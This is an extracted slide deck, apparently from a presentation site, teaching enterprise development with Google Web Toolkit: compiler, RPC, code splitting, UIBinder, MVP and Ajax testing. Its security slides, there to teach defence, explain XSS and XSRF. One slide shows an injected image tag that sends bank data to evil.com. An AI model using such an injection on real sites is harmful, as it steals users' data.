View
7.517
Download
1
Category
Tags:
Preview:
DESCRIPTION
An overview of the most important GWT features mixed with my experience of GWT. For example: 2-layered delpoyment model, several design patterns, security issues, ajax testing, etc.. This presentation is different then the usual GWT presentation as it describes the usage of GWT in an enterprise environment instead of a "GWT hobby project". This presentation is used during GWT workshops and courses.
Citation preview
Building Ajax applications with Java
Ed BrasSoftware Engineered@iTed.nl
iTedBelastingvriendin
Ed Bras | ed@ited.nl 2
• What is GWT?
• My first GWT application
• The GWT compiler
• Native Javascript support
• GWT under the hood
• Making own widgets
• Backend integration
• GWT-RPC
Ed Bras | ed@ited.nl 3
• Spring integration
• DTO’s usage
• Ajax security
• Code splitting
• Styling and Themes
• Client bundle
• UIBinder
• MVCP pattern
Ed Bras | ed@ited.nl 4
• Service handler
• GWT enterprise development
• Display data binding
• IDE integration
• Ajax testing
• Third party GWT frameworks
• Sales talk
• GWT usage
Javascript
Ed Bras | ed@ited.nl 5
• Building interactive web sites
• Java -> Javascript compiler
• Browser independent
• Browser support: FF, IE, Chrome, Safari, Opera
• No browser plugin needed
• Open source, Apache 2.0 license
Java Code
Firefox FirefoxSafari
Opera
Chrome
Ed Bras | ed@ited.nl 6
• Create project
• GWT jar’s
• JRE support + source code
• Not-supported classes
• Development mode
• Debugging
• Compile with Maven
• GWT Eclipse plugin
Ed Bras | ed@ited.nl 7
• Generating optimized Javascript
• Faster Javascript then handwritten
• Dead code removal, Type tighten, inlining, aggressive obfuscation, etc…
JavascriptJava Code
Shape s = new Square(2);
int a = s.getArea();
equals:
Square s = new Square(2);
inta = s.length* s.length;
becomes:
int a = 4;
Ed Bras | ed@ited.nl 8
• Newest compiler: 3 – 20 % smaller code
• Compiler output: obfuscated, pretty, report
• Predictable code: no reflection
• Deferred binding alternative
• Compiler permutations
GWT.create(DOMImpl.class)
DOMImpl
DOMImplIE6 DOMImplOpera
Ed Bras | ed@ited.nl 9
• Internationalization support
• Inline property replacement
• Extending properties
MyLabels
interfacemylabels_nl.properties
Usage:MyLabels props = GWT.create(MyLabels.class);
props.getCustomerTitle();
CommonLabels
interfacecommonlabels_nl.properties
packageContent:customerTitle = Alle klanten
….
…
Ed Bras | ed@ited.nl 10
• Different permutations (browsers x languages)
Indicate Possible locales (permutations) in gwt.xml:<extend-property name="locale" values="nl, es" />
Indicate required Locale:Set required locale in gwt.xml file:
<set-property name="locale" value="nl" />
Set required locale in html file:
<meta name="gwt:property" content="locale=es">
Set required locale in URL:
http://www.example.org/myapp.html?locale=nl
Ed Bras | ed@ited.nl 11
• Call Javascript code from Java
public native String flipName(String name) /*-{ var re = /(\w+)\s(\w+)/; return name.replace(re, '$2, $1');
}-*/;
• Call Java code From Javascript
• Results in many possibilities
• GWT wrappers around existing Javascript lib’s
• Direct JQuery calls (GQuery)
• Flash integration through FABridge
Ed Bras | ed@ited.nl 12
• DOM programming through Java Overlay types
• Binding of a Java object to a Javascript object
• IDE advantages
• Use JSON objects as Java objects
• Friendly usage of Javascript lib’s
Ed Bras | ed@ited.nl 13
JSON data from server:var jsonData = [{ "FirstName" : "Jimmy", "LastName" : "Webber" },{ "FirstName" : "Alan", "LastName" : "Dayal" },
];
Overlay Java Class:public class CustomerJso extends JavaScriptObject implements Customer {protected CustomerJso() { }
public final native String getFirstName() /*-{ return this.FirstName; }-*/;public final native String getLastName() /*-{ return this.LastName; }-*/;public final String getFullName() {return getFirstName() + " " + getLastName();
}}
Usage:public void onModuleLoad() {
Customer c = getFirstCustomer();Window.alert("Hello, " + c.getFirstName());
}
private native CustomerJso getFirstCustomer() /*-{return $wnd.jsonData[0]; // example: contains the result from a backend call
}-*/;
Ed Bras | ed@ited.nl 14
• Gwt-google-apis:
• Google Maps
• Google Ajax search
• Google Gears
• etc..
Ed Bras | ed@ited.nl 15
• Widget and Panel Hierarchy Implements HasWidgets
Ed Bras | ed@ited.nl 16
• HTML standard mode support
• Helper classes
GWT HistoryDOM
• DOM: Dom element management
• GWT: Global application management
Ed Bras | ed@ited.nl 17
• History: Ajax navigation via URL fragments
Show page 1Add History
markerShow page 2
Add History marker
back
History queue
page 2page 1….
1 2
back: inform back: inform
inform
Ed Bras | ed@ited.nl 18
• Object presentation on the DOM
Panel
Label
Button
parent
child’s
Panel
Label
Button
parent
child’s
Logical attachment Physical attachment
contains
contains
contains
Ed Bras | ed@ited.nl 19
• Element API examplesUIObject.getElement() // element location
Element.getStyle()
Element.setPropertyString(String, String)
Element.setScrollLeft(int)
Element.setTitle(String)
Element.getClassName() // same as Widget.getStyleName()
• Toevoegen child widget:// logical and physical attachment:FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.add(new Label(“some text”); // attachment
// Only physical attachment (not normal usage):FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment
Ed Bras | ed@ited.nl 20
•Extending existing widgets:
• Flexible re usage
• No clear API
Ed Bras | ed@ited.nl 21
• Composite class usage:
• Clear API
• Poor reusage, not lazy, heavy constructor
• Improved alternative: SimpleComposite
Ed Bras | ed@ited.nl 22
• Event example
• Event sinking
• Event bubbling transparency
• Blur and Focus do not bubble
Panel
Button
parent
child’s
Capture phase Bubbling phase
Ed Bras | ed@ited.nl 23
• What goes wrong ?
function makeWidget() {var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() {
alert(widget.someVariable); };
}
• Browsers garbage collection of cycled referencedA -> B -> A (widget -> elem -> widget)
Ed Bras | ed@ited.nl 24
• GWT guarantees no memory leaks
• Element -> Widget association not possible
Ed Bras | ed@ited.nl 25
• Asynchronous backend calls
Show table with data
Create Table View
Fetch Table data
1
2
Show table with data
Create Table View Fetch Table data
Asynchronous
Synchroon
backend
frontend
Ed Bras | ed@ited.nl 26
• SOP: Same Origin Policy
• Alternative:
• Server proxy: extra delay
• <script> DOM element: less secure
Our domain
Neighbor
Load application
SOP restriction
Ed Bras | ed@ited.nl 27
• Impact integration of existing backend
• Page lifecycle not on server
• Lightweight
• Easy integration with existing Get/Post backend
Ed Bras | ed@ited.nl
28
• Communication basics:
• GWT-RPC (java backend)
• Post/Get (any backend)
• JSNI
GWT applicatie
Backend
GWT-RPC Post/Get JSNI
J2EE container Any container Any container
XML JSON Text
Ed Bras | ed@ited.nl 29
• Post/Get
• Retrieving any data from the server
• Example: XML, JSON, TEXT
• JSON versus XML
• Third party lib’s for REST services
• Example: Restlet, RestyGWT (REST + JSON)
• GWT RequestBuilder class:
• Default Post/Get support (Safari bug)
• Head/Delete/etc.. support through subclassesRequestBuilder.sendRequest(String, RequestCallback)
Ed Bras | ed@ited.nl 30
• Post/Get
• GWT XML en JSON helper classes
• GWT-RPC
• Transparent backend connection
• Java Object sharing
• Lightweight mechanism
Ed Bras | ed@ited.nl 31
• GWT-RPC Customer exampleserver client
GWT J2ee container
CustomerServiceDefault
CustomerService
RemoteServiceServlet
CustomerServiceAsync
web.xml…
mapping
Usage
service = GWT.create(CustomerService.class);service. getAllCustomers()
Remote Service
1
2
3
Ed Bras | ed@ited.nl 32
• Transport object:
• Implements (indirect) Serializable
• No-arg constructor
• Field must be non-final (log warning)
• Transient field not over the wire
• Generated Serialization code reduction:
• Prefer ArrayList<E> over List<E> in Service interface
Ed Bras | ed@ited.nl 33
• Only Checked exceptions over the wire
List<Customer> getAllCustomers() throws StaleCustomerStateException;
• Exception translation
Mediator layer
Dynamic proxy Exception Translator
Unchecked -> Checked Exception
BrowserGWT application
Example: Source: MemberNotLoggedInRuntimeExceptionTarget: MemberNotLoggedInException
java.lang.reflect.Proxy
Ed Bras | ed@ited.nl 34
• <MD5>.gwt.rpc policy file
• War deployment
• Spring integration
• Third party connector (gwtwidgets)
• Mapping through Spring instead through web.xml
Ed Bras | ed@ited.nl 35
J2EE container(s)
Web server(s)
BrowserGWT Application
• Friendly environmentDevelopment
IDE
Start/Stopindex.html
load application/resoucesbackend communication
proxy calls
Customer
code share
gwt-servlet.jar
publish
DB
Browser plugin
Separated deployment
Ed Bras | ed@ited.nl 36
• GWT noserver mode
• Friendly development environment:
• SOC (Separation of Concerns)
• Friendly testing (mocks)
• Friendly deployment (separated)
• Serialization policy solution (SerializationPolicy)
• Lightweight backend
• Simple scalable (horizontal)
• Almost stateless
Ed Bras | ed@ited.nl 37
• Optimizing object transport (light, share, security)
• Prevents enhanced object problems (hibernate)
• Adjust and test DTO conversion
Mediator layer
BrowserGWT application
DTO’s (CustomerDto)
Domain objects (Customer)DTO
converter
Backend communication
Ed Bras | ed@ited.nl 38
• DTO converter: Dozer
• Gilead:
• No DTO converter needed
• Backend impact
• Code impactDomain object(Customer)
DTO object(CustomerDto)
Ed Bras | ed@ited.nl 39
• Bill Hoffman film en book Ajax Security
• GWT doc
• Ajax paradox: more in not-trustable client
• Security role undermind
• Differences with not-Ajax time
Ed Bras | ed@ited.nl 40
• State in client
• Backend calls as webservices
Not-Ajax backend Ajax backend
Not to be trusted?
Backend
Ed Bras | ed@ited.nl 41
• Evil state in front-end
• Specification backend access (control and state)
• Ajax as blueprint van de backend
• Example:
• Booking flight: select, reservation, pay, book
• Price attack: price in Javascript variable
Backend
Ed Bras | ed@ited.nl 42
• More business logic in browser (HtmlGuardian)
• You best friend: Firebug
• Javascript security friend: Flash (no SOP)
• Storing login info in client (https login)
• Logic controlled denial attack
• Revered Obfuscating
• Dynamic code loading
• Method Clobbering
Frontend
Ed Bras | ed@ited.nl 43
• Element.innerHTML(UserSCRIPTInput)
• eval(JSON) -> evil() (Javascript is Evil)
• JSONP (JSON Padding) is evil (proxy)
• Evil Google Gadgets
• Hacker type:
• The user (before)
• Clone a user
Frontend
Ed Bras | ed@ited.nl 44
• XSS (Cross Site Scripting)
• XSRF (Cross Site Request Forging)
Trusted domain Evil domain
Inject Javascript
<img src=“evil.com?info=Bank info”></img>Cookie
Request forging
Ed Bras | ed@ited.nl 45
• Cookie duplication
• GWT:
• Hiding Javascript
• Usage JSONParser
• More default checks in future
• Many attention on infrastructure security
• Little attention on Application security (hacker happy)
Ed Bras | ed@ited.nl 46
• Loading of application in small code fragments
HTML JS Running
HTML JS Running
without code splitting
with code splitting
Running Running Running
JS JS JS
Time
Ed Bras | ed@ited.nl 47
GWT.runAsync(new RunAsyncCallback() {public void onSuccess() {
// Runs when code is loaded with success}
public void onFailure(Throwable reason) {// Runs when loaded with failure
}});
• Example of split point in code
Start Code
Split point 1
Split point 2
Left over
Kb
Code base
Loading first code fragment
Ed Bras | ed@ited.nl 48
• Lazy loading when needed
• Manual Code splitting
• Minimizing left over
• Isolate code fragments
• SOYC (Story Of Your Compile)
• When loading which code?
• Code fragment size
• Compiler optimizing
• etc…
Ed Bras | ed@ited.nl 49
• CSS faster than element styling
element. getStyle().setBackgroundColor(“#FF00FF”)
• (GWT) CSS include through
• <link> in Html page
• In gwt.xml file (preferred)
• Through UIBinder and CssResource
<link type="text/css" rel="stylesheet" href=“my.css">
<stylesheet src=“my.css" />
Ed Bras | ed@ited.nl 50
• Widget styles:
• UIObject.setStyleName(“button”)
• UIObject.setStylePrimaryName(“button”)
• UIObject.addStyleDependentName(“enabled”)
<div class=“button”>
<div class=“button”>
<div class=“button button-enabled”>
WidgetStyler Widget
add mouse/click listeners
Decorator
enable/disable/select
<div class=“button button-disabled”><div class=“button button-enabled”><div class=“button button-hover”><div class=“button button-sel”>
primary style
Ed Bras | ed@ited.nl 51
• Visual Theme:
• Inject a set of style sheets through a separate gwt.xml file
• Usage with reusable components
• GWT standard themes: standard, chrome, dark
Usage:<inherits name='com.google.gwt.user.theme.standard.Standard'/>
Content of Standard.gwt.xml:<module>
<stylesheet src="gwt/standard/standard.css"/></module>
Ed Bras | ed@ited.nl 52
• Dynamic change of style sheetspublic static boolean removeStyleSheet(String id) {
Element elem = DOM.getElementById(id);if (elem == null) {
return false;}else {
Element parent = elem.getParentElement();parent.setPropertyString("disabled", "disabled");parent.removeChild(elem);
return true;}
}
public static void addStyleSheet(String id, String url) {Element link = DOM.createElement("link");link.setPropertyString("rel", "stylesheet");link.setPropertyString("type", "text/css");link.setPropertyString("id", id);link.setPropertyString("href", url);link.setPropertyString("disabled", "");Element head = getHead();head.appendChild(link);
}
public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;
Ed Bras | ed@ited.nl 53
• Include static resourcespublic interface MyResources extends ClientBundle {public static final MyResources INSTANCE = GWT.create(MyResources.class);
@Source("my.css")public CssResource css();
@Source("config.xml")public TextResource initialConfiguration(); // i18N support (config_us.xml)
@Source("default.txt")
public TextResource defaultText(); // i18N support (default_nl.txt)
@Source("manual.pdf")public DataResource ownersManual(); // i18N support (manual_es.pdf)
@Source("logo.png")
ImageResource logo(); // i18N support (logo_es.png)}
Usage:MyResources.INSTANCE.css().ensureInjected();
// Display the manual file in an iframenew Frame(MyResources.INSTANCE.ownersManual().getURL());
Ed Bras | ed@ited.nl 54
• Perfect caching (predictable)
• MD5 file name
GWT Compiler
Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf
<Files *.nocache.*>ExpiresDefault "access"
</Files>
<Files *.cache.*>ExpiresDefault "now plus 1 year"
</Files>
• File change results in MD5 file name change
• Apache caching (mod_expires)
Ed Bras | ed@ited.nl 55
• CssResource
@def myIdent 10px;
@sprite panel {gwt-image: “alertInfo”;
}
.foo {background: green;
}
@if user.agent ie6 {.foo {position: relative;
}} @else {.foo {font-size: x-large;
}}
interface MyResources extends ClientBundle {@Source("my.css")@CssResource.NotStrictMyCss css();
@Source("images/alert-info-ff00ff.gif")@ImageOptions(repeatStyle = RepeatStyle.None)ImageResource alertInfo();
}
interface MyCss extends CssResource {String className();String myIdent();
}
MyResources resources = GWT.create(MyResources.class);Label l = new Label("Some text");l.addStyleName(resources.css().className());
Stylesheet Usage
same
in classpath
Ed Bras | ed@ited.nl 56
• CssResource:
• More control and flexible
• Efficient loading of images
• GWT compiler performs more checks
• Css code -> Java code -> more checks/control
• Minimizing style sheet
• Obfuscating
• Predictable/perfect caching
Ed Bras | ed@ited.nl 57
• Templating elementsHelloWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'><div>
Hello, <span ui:field='nameSpan'/>.</div>
</ui:UiBinder>
public class HelloWorld extends UIObject {interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField SpanElement nameSpan;
public HelloWorld() {setElement(uiBinder.createAndBindUi(this));
}
public void setName(String name) { nameSpan.setInnerText(name); }}
Usage:HelloWorld helloWorld = new HelloWorld();Document.get().getBody().appendChild(helloWorld.getElement());helloWorld.setName("World");
Ed Bras | ed@ited.nl 58
• Templating widgetsHelloWidgetWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>
<g:HTMLPanel>Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.
</g:HTMLPanel></ui:UiBinder>
public class HelloWidgetWorld extends Composite {interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField ListBox listBox;
public HelloWidgetWorld(String... names) {initWidget(uiBinder.createAndBindUi(this));for (String name : names) {
listBox.addItem(name); }
}}
Usage:HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");
Ed Bras | ed@ited.nl 59
• Improve performance (innerHTML usage)
• Many styling possibilities
• Separation of Widget and Template
• 1 Widget with different templates
• Design friendly
• IDE friendly
• Annotation usage (listener method)
• Compare with Flex and Faclets (JSF)
Presenter 1
Ed Bras | ed@ited.nl 60
Event bus
Events:…App initApp prepare testApp prepare 1..App build 1..App show..Global data changed
CustomerController
ShowPresenter
ModifyPresenter
Show View Modify View
Display register
Data Model
Create lazy through code split
Shared display content:Tab content ….
Interface association
Bubbling actions:Click gotoModify button
Business logic
Presenter logic
optional
Ed Bras | ed@ited.nl 61
• Separated view, business en presentation logic
• Forced separating
• Friendly testing
• Interface associations
• Data model Observer memory leaks
• GWT doc
Ed Bras | ed@ited.nl 62
• Central handler for backend communication
• Control of backend calls (queue, timeout, etc..)
• Central progress monitor
• Wrap existing Async calls
Usage:final AsyncCallback<Member> callback = createCallback();….serviceHandler.add(new AsyncCommand<Member>() { // add service handler
public AsyncCallback<Member> getCallback() {return callback;
}
void run(final AsyncCallback<Member asynCallback) {getBackendFacade().login(“bla”, “geheim”, asynCallback);
}});
Ed Bras | ed@ited.nl 63
• Split GWT project in production, test en development
DeclareCommon.gwt.xml
DeclareProd.gwt.xml DeclareTestCommon.gwt.xml
DeclareTest.gwt.xml DeclareDev.gwt.xml
Lean and mean (800k):no assertsno element id’setc..
Test enabled (1200k):with assertswith element id’swith dev panelbackend mockingTest data via URL paramsetc..
More Test data options<div id=“bla”>rik</div>
Id is needed for Ajax testing
Ed Bras | ed@ited.nl 64
• Flexible environment settings
• Friendly develop environment
• Mocking backend (offline mode)
• Unit testing through URL parameters
• Deferred binding
Ed Bras | ed@ited.nl 65
• Model Display binding
Data model Displaybinding ?
Fill display with model data
View
Data model
Desired: Decouple of display details en data binding (SOC)Reusable data binding
split
public void update(data collection) {foreach(Data item: data) {
table.setText(0, 1, item.getLabel());}
}
Ed Bras | ed@ited.nl 66
TableViewer
TableViewer decorates Table
• TableViewer example
Data model
1: update2Display(List<Customer>)
TableEditor
2: update2Display(RowEditor, Customer)
RowEditor
Display table
contains
3: Customer specific:rowEditor.setHtml(0, customer.getFirstName()); rowEditor.setWidget(1, new Label(customer.getLastName()));….
Ed Bras | ed@ited.nl 67
• Viewer decorates Display component
• SOC (Separation Of Concern)
• Friendly syncing of data and display
• Reusable for other data
• Usage in well known GUI frameworks
• Example: FormField en FormFieldViewer
Ed Bras | ed@ited.nl 68
• GWT Eclipse plugin
• GWT Designer of Instantiations (no UIBinder)
• Waiting for UIBinder IDE support
Ed Bras | ed@ited.nl 69
• Unit testing of not-Display parts (MVCP)
• Unit testing of GWT display parts met Junit
• Nightly build met Cargo- en GWT maven plugin
• Difficult to test the Ajax frontend
• Selenium van Thoughtworks:
• FF plugin for scenario recording
• Selenium RC (java, Groovy, etc…)
• Ajax model test framework:
• Modeling of browser elements
• Selenium as browser implementation
Ed Bras | ed@ited.nl 70
Display
First name
Last name
News letter
<input id=“myCheckId” type=“checkbox”>
• Ajax model test framework
Cssselector
TypeElement
CheckElement
typeWait(“bla”)
clickWait(“bla”)
Locator
Browser
Id
interface contains
Selenium RC
modeling
contains
interface
Ed Bras | ed@ited.nl 71
• Hierarchy of reusable rich browser elements
• Compose new elements
• Friendly usage none-developer
• Run through testNG/Junit
• Run during nightly build
Ed Bras | ed@ited.nl 72
• GWT focus: compiler and core
• Many GWT hobby projects
• GXT van Ext Js (former mygwt)
• SmartGWT
• RocketGWT
• Many GWT wrappers
• GIN (GWT Injection), based on Google Guice
Ed Bras | ed@ited.nl 73
• It’s Google (future, sexy)
• Open source project, no license costs
• Google Wave and AdWords build with GWT
• GWT more popular every day
• Rich interactive web sites possible
• Browser independent
• No browser plugin needed
• Short learning curve
• GWT has a clear programming model
Ed Bras | ed@ited.nl 74
• Existing Java developers can start directly
• Usage of standard Java development tools
• GUI design tools available
• Many GWT libraries available
• Fast application building (Prototyping)
• Many and complex functionality possible
• No/little Javascript knowledge needed
• Simple and fast deployment
Ed Bras | ed@ited.nl 75
• Simple integration with existing backend
• Simple scalability
• Less backend resource usage
• Friendly integration with Google API’s.
• Integration with Flash in the browser
• Light weight
• Compiler optimizing (compact, obfuscated)
• Reusable existing Java code
Ed Bras | ed@ited.nl 76
• CMS friendly
• Test/develop friendly (prod, test, dev modes)
• GUI binder
Ed Bras | ed@ited.nl 77
• Less:
• Still solving browser CSS differences yourself
• less suitable for complex animations
• Less suitable for tiny Javascript application
• Not search engine friendly (poor ranking)
Ed Bras | ed@ited.nl 78
• JQuery for simple Ajax functionality
• Flash for Trendy sites
• Other: GWT
• Use case: Lombardi/IBM Blueprints:
• Started with Flash (cross-browser bugs)
• Then DOJO (too big)
• Now GWT (take over by IBM)
• Use case: Mendix, generation of GWT front-end
Ed Bras | ed@ited.nl 79
• Roadmap not public known
• Compiler optimizing, richer widgets, standard mode, security, etc..
• HTML 5 support
• More used every day (forum active)
Ed Bras | ed@ited.nl 80
• Google GWT site: doc, samples, blog, forum
• GWT on Youtube (I/O sessions)
• Google books
• LinkedIn group(s): GWT Dutch Professionals
• Call/Mail me (ed@ited.nl, www.ited.nl)
Recommended